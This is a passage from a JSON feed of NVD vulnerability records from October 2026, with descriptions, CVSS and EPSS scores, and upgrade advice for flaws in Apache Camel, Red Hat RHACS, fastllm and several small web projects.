fixes.","publishedAt":"2026-10-19T13:16:57.303Z","updatedAt":"2026-10-19T19:17:25.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112142","asOf":"2026-10-19T19:17:25.783Z"},"epss":{"probability":0.00263,"percentile":0.17971,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112142","type":"primary","publishedAt":"2026-10-19T13:16:57.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112141","cveId":"CVE-2026-112141","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php...","summary":"A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument id/name/title/year/gender/fromdate/todate/people causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected is the function mysqli_query of the file doedit.php of the component Registration-Edit Handler. This manipulation of the argument id/name/title/year/gender/fromdate/todate/people causes sql injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T13:16:57.140Z","updatedAt":"2026-10-22T03:16:35.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112141","asOf":"2026-10-22T03:16:35.880Z"},"epss":{"probability":0.00263,"percentile":0.17972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112141","type":"primary","publishedAt":"2026-10-19T13:16:57.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103314","cveId":"CVE-2026-103314","aliases":[],"kind":"vulnerability","title":"A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response...","summary":"A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response identifiers to prevent replay. An attacker who obtains a valid, unexpired signed SAML response can submit it multiple times and receive distinct Central authentication tokens for the mapped identity.","detail":"A flaw was found in Red Hat Advanced Cluster Security for Kubernetes (RHACS). The Central SAML authentication ACS endpoint does not retain used SAML assertion or response identifiers to prevent replay. An attacker who obtains a valid, unexpired signed SAML response can submit it multiple times and receive distinct Central authentication tokens for the mapped identity.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T13:16:53.617Z","updatedAt":"2026-10-20T13:16:38.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Red Hat Enterprise Linux","Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103314","asOf":"2026-10-20T13:16:38.277Z"},"epss":{"probability":0.00392,"percentile":0.33063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103314","type":"primary","publishedAt":"2026-10-19T13:16:53.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88900","cveId":"CVE-2026-88900","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component.","summary":"Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nJGroupsEndpoint.createExchange(Message), which CamelJGroupsReceiver calls for every message the jgroups consumer receives before the exchange is routed, set the exchange body from org.jgroups.Message.getObject(). For an ObjectMessage, which is the message type the Camel jgroups producer sends, JGroups Java-deserializes the payload through an ObjectInputStream on its own receive thread as the message arrives, and getObject() returns the resulting object. No java.io.ObjectInputFilter was applied on that path unless the deployment had set a JVM-wide serialization filter: camel-jgroups installed none, and the JGroups versions shipped with the affected releases apply none of their own, so any serializable class on the application classpath could be instantiated and its deserialization callbacks run. Unless a channel or the channelProperties option is configured, the consumer creates its channel with new JChannel(), the stock JGroups protocol stack, which multicasts over UDP without the AUTH protocol and without encryption, so any host able to reach the cluster's multicast group or bind port can join the cluster and send messages to the consumer without credentials. Such a host could send a crafted serialized object that leads to remote code execution in the Camel process when a usable deserialization gadget chain is present on the classpath, and no non-default option was required on the consumer. Because JGroups materializes the object before Camel's receiver runs, a check performed by Camel can only inspect the deserialized result and cannot stop code that runs during deserialization, so closing the issue also requires a control that applies before the payload is read, as described in the mitigation. Exploitation requires network access to the cluster's multicast group or bind port, which with the default UDP multicast transport means a host on an adjacent network, and a usable gadget chain on the classpath, which is why the severity is assessed as high rather than critical.\n\n\n\nUsers are","detail":"Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component.\n\n\n\nThis issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nJGroupsEndpoint.createExchange(Message), which CamelJGroupsReceiver calls for every message the jgroups consumer receives before the exchange is routed, set the exchange body from org.jgroups.Message.getObject(). For an ObjectMessage, which is the message type the Camel jgroups producer sends, JGroups Java-deserializes the payload through an ObjectInputStream on its own receive thread as the message arrives, and getObject() returns the resulting object. No java.io.ObjectInputFilter was applied on that path unless the deployment had set a JVM-wide serialization filter: camel-jgroups installed none, and the JGroups versions shipped with the affected releases apply none of their own, so any serializable class on the application classpath could be instantiated and its deserialization callbacks run. Unless a channel or the channelProperties option is configured, the consumer creates its channel with new JChannel(), the stock JGroups protocol stack, which multicasts over UDP without the AUTH protocol and without encryption, so any host able to reach the cluster's multicast group or bind port can join the cluster and send messages to the consumer without credentials. Such a host could send a crafted serialized object that leads to remote code execution in the Camel process when a usable deserialization gadget chain is present on the classpath, and no non-default option was required on the consumer. Because JGroups materializes the object before Camel's receiver runs, a check performed by Camel can only inspect the deserialized result and cannot stop code that runs during deserialization, so closing the issue also requires a control that applies before the payload is read, as described in the mitigation. Exploitation requires network access to the cluster's multicast group or bind port, which with the default UDP multicast transport means a host on an adjacent network, and a usable gadget chain on the classpath, which is why the severity is assessed as high rather than critical.\n\n\n\nUsers are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier, and the 4.15.x to 4.17.x and 4.19.x to 4.21.x release lines, reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T12:17:11.980Z","updatedAt":"2026-10-20T04:17:06.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88900","asOf":"2026-10-20T04:17:06.427Z"},"epss":{"probability":0.00559,"percentile":0.4628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88900","type":"primary","publishedAt":"2026-10-19T12:17:11.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112140","cveId":"CVE-2026-112140","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file...","summary":"A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file python/mlc_chat/chat_module.py. The manipulation of the argument model_lib results in code injection. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in llSourcell Doctor-Dignity up to 3f2ffb6c892f13b50a708d05900d3227acb40ded. This impacts the function _get_lib_module of the file python/mlc_chat/chat_module.py. The manipulation of the argument model_lib results in code injection. The attack may be launched remotely. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T12:17:01.740Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112140","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00244,"percentile":0.1548,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112140&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112140","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112140","type":"primary","publishedAt":"2026-10-19T12:17:01.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112140&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112140, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112139","cveId":"CVE-2026-112139","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file...","summary":"A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file admindocview.php of the component Administrative Mutation Handler. The manipulation of the argument docid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown function of the file admindocview.php of the component Administrative Mutation Handler. The manipulation of the argument docid leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T12:17:01.563Z","updatedAt":"2026-10-19T17:17:12.927Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112139","asOf":"2026-10-19T17:17:12.927Z"},"epss":{"probability":0.00263,"percentile":0.1797,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112139","type":"primary","publishedAt":"2026-10-19T12:17:01.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112108","cveId":"CVE-2026-112108","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String...","summary":"A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String Parsing. This manipulation of the argument len causes buffer overflow. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was determined in ztxz16 fastllm up to 0.1.8.2. This impacts the function GGUFBuffer::ReadString of the file third_party/gguf/gguf.cpp of the component String Parsing. This manipulation of the argument len causes buffer overflow. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T12:17:01.197Z","updatedAt":"2026-10-22T03:16:35.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112108","asOf":"2026-10-22T03:16:35.723Z"},"epss":{"probability":0.00267,"percentile":0.18667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112108&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112108","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112108","type":"primary","publishedAt":"2026-10-19T12:17:01.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112108&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112108, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112107","cveId":"CVE-2026-112107","aliases":[],"kind":"vulnerability","title":"A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors...","summary":"A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors Weight Loading. This manipulation of the argument data_offsets causes buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A flaw has been found in ztxz16 fastllm up to 1.8.2. Affected by this issue is the function SafeTensorItem::CreateBuffer of the file src/model.cpp of the component Safetensors Weight Loading. This manipulation of the argument data_offsets causes buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T12:17:00.937Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112107","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00267,"percentile":0.18667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112107","type":"primary","publishedAt":"2026-10-19T12:17:00.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88901","cveId":"CVE-2026-88901","aliases":[],"kind":"vulnerability","title":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel.","summary":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel.\n\n\n\nThis issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nImproper Restriction of XML External Entity Reference in the Smooks component (camel-smooks) in Apache Camel allows an attacker who supplies the XML message body to read local files or issue requests to internal network locations via an external entity declaration in that body. This issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1. The Smooks data format (.unmarshal().smooks(...)) and the Smooks component (smooks:) parse the incoming XML body with the reader Smooks resolves by default, which is the Woodstox SAX parser. That reader resolves external general and parameter entities and loads external DTDs, and camel-smooks applied none of the parser hardening that the other Camel XML components apply. A DOCTYPE with an external subset, or an external general entity, declared in the XML document is therefore resolved and expanded while the body is unmarshalled, and the resolved content is bound into the unmarshalled result and returned on InOut routes. An external sender whose XML reaches a camel-smooks data format or endpoint could therefore read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since resolving external entities was the default behaviour. Configurations that declare their own reader - EDI, CSV, JSON, or a custom reader - do not use the XML reader and are not affected. Users are recommended to upgrade to version 4.18.5, 4.22.1 or 4.23.0, which fixes the issue.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. camel-smooks now parses the XML body with a javax.xml.parsers.DocumentBuilder that does not resolve external general or parameter entities and does not load external DTDs, and hands Smooks the resulting document, matching the secure XML processing configuration used by org.apache.camel.converter.jaxp.XmlConverter a","detail":"Improper Restriction of XML External Entity Reference vulnerability in Apache Camel.\n\n\n\nThis issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1.\n\n\n\nImproper Restriction of XML External Entity Reference in the Smooks component (camel-smooks) in Apache Camel allows an attacker who supplies the XML message body to read local files or issue requests to internal network locations via an external entity declaration in that body. This issue affects Apache Camel: from 4.7.0 before 4.18.5, from 4.19.0 before 4.22.1. The Smooks data format (.unmarshal().smooks(...)) and the Smooks component (smooks:) parse the incoming XML body with the reader Smooks resolves by default, which is the Woodstox SAX parser. That reader resolves external general and parameter entities and loads external DTDs, and camel-smooks applied none of the parser hardening that the other Camel XML components apply. A DOCTYPE with an external subset, or an external general entity, declared in the XML document is therefore resolved and expanded while the body is unmarshalled, and the resolved content is bound into the unmarshalled result and returned on InOut routes. An external sender whose XML reaches a camel-smooks data format or endpoint could therefore read files readable by the Camel process and cause the process to issue requests to hosts the document names. No non-default option is required, since resolving external entities was the default behaviour. Configurations that declare their own reader - EDI, CSV, JSON, or a custom reader - do not use the XML reader and are not affected. Users are recommended to upgrade to version 4.18.5, 4.22.1 or 4.23.0, which fixes the issue.\n\n\n\nUpgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. Users on the 4.22.x LTS releases stream should upgrade to 4.22.1. camel-smooks now parses the XML body with a javax.xml.parsers.DocumentBuilder that does not resolve external general or parameter entities and does not load external DTDs, and hands Smooks the resulting document, matching the secure XML processing configuration used by org.apache.camel.converter.jaxp.XmlConverter and the other Camel XML components. This hardening is applied only when the Smooks configuration parses XML with its default reader, so EDI, CSV, JSON and custom-reader configurations, and the marshalling direction, are unchanged. A new allowExternalEntities option, disabled by default, restores the previous behaviour for trusted legacy configurations that rely on external entity resolution. The camel-4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, do not apply camel-smooks to XML received from untrusted senders.\n\nNVD status: Undergoing Analysis. Publication 